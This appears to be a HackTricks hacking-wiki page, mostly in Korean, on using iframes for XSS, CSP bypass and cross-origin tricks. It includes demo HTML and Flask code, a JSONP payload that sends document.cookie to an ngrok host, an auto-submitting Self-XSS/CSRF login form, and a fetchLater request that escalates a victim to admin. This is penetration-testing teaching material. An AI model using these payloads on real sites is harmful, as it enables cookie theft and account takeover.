Iframes in XSS, CSP and SOP
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Iframes in XSS
iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:
src
를 통해 URL을 나타냅니다 (URL은 교차 출처 또는 동일 출처일 수 있습니다)data:
프로토콜을 사용하여 내용을 나타내는src
- 내용을 나타내는
srcdoc
부모 및 자식 변수 접근
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
이전 HTML에 http 서버(예: python3 -m http.server
)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). 부모는 어떤 iframe 안의 secret
변수를 접근할 수 없으며 오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.
if4가 null
출처로 간주된다는 점에 유의하세요.
CSP가 있는 Iframes
tip
다음 우회에서 iframed 페이지에 대한 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 점에 유의하세요.
script-src
의 self
값은 data:
프로토콜이나 srcdoc
속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.
그러나 CSP의 none
값조차도 src
속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.
따라서 다음과 같이 페이지의 CSP를 우회하는 것이 가능합니다:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
이전 CSP는 인라인 스크립트의 실행만 허용합니다.
그러나 오직 if1
과 if2
스크립트만 실행되지만, 오직 if1
만 부모 비밀에 접근할 수 있습니다.
따라서 서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. script-src 'none'
이더라도 가능합니다. 이는 동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.
다음 시나리오로 테스트할 수 있습니다. 쿠키가 script-src 'none'
일 때도 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Other Payloads found on the wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
iframe 내의 콘텐츠는 sandbox
속성을 사용하여 추가 제한을 받을 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 이는 제한이 없음을 의미합니다.
사용될 때, sandbox
속성은 여러 가지 제한을 부과합니다:
- 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.
- 양식을 제출하려는 모든 시도가 차단됩니다.
- 스크립트 실행이 금지됩니다.
- 특정 API에 대한 접근이 비활성화됩니다.
- 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.
<embed>
,<object>
,<applet>
또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.- 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.
- 비디오 재생이나 양식 컨트롤의 자동 포커스와 같이 자동으로 트리거되는 기능이 차단됩니다.
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다(sandbox=""
). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Credentialless iframes
이 기사에서 설명한 바와 같이, iframe의 credentialless
플래그는 요청에 자격 증명을 전송하지 않고 iframe 내에서 페이지를 로드하는 데 사용되며, iframe에 로드된 페이지의 동일 출처 정책(SOP)을 유지합니다.
이것은 iframe이 부모 페이지에 로드된 동일 SOP의 다른 iframe에서 민감한 정보에 접근할 수 있게 합니다:
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
- Exploit example: Self-XSS + CSRF
이 공격에서 공격자는 2개의 iframe이 있는 악성 웹페이지를 준비합니다:
- CSRF가 XSS를 트리거하는
credentialless
플래그가 있는 피해자의 페이지를 로드하는 iframe (사용자의 사용자 이름에서 Self-XSS를 상상해 보세요):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- 실제로 사용자가 로그인한 다른 iframe (
credentialless
플래그 없이).
그런 다음, XSS에서 동일한 SOP를 가지므로 다른 iframe에 접근할 수 있으며, 예를 들어 쿠키를 훔치는 것을 실행할 수 있습니다:
alert(window.top[1].document.cookie);
fetchLater 공격
이 기사에서 언급된 바와 같이, API fetchLater
는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), fetchLater
요청을 설정하여(예를 들어 현재 사용자의 비밀번호를 변경하기 위해) 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 fetchLater
요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다.
이렇게 하면 피해자의 URL이 iframe에서 로드될 수 없더라도(CSP 또는 기타 제한으로 인해), 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
SOP에서의 Iframes
다음 페이지를 확인하세요: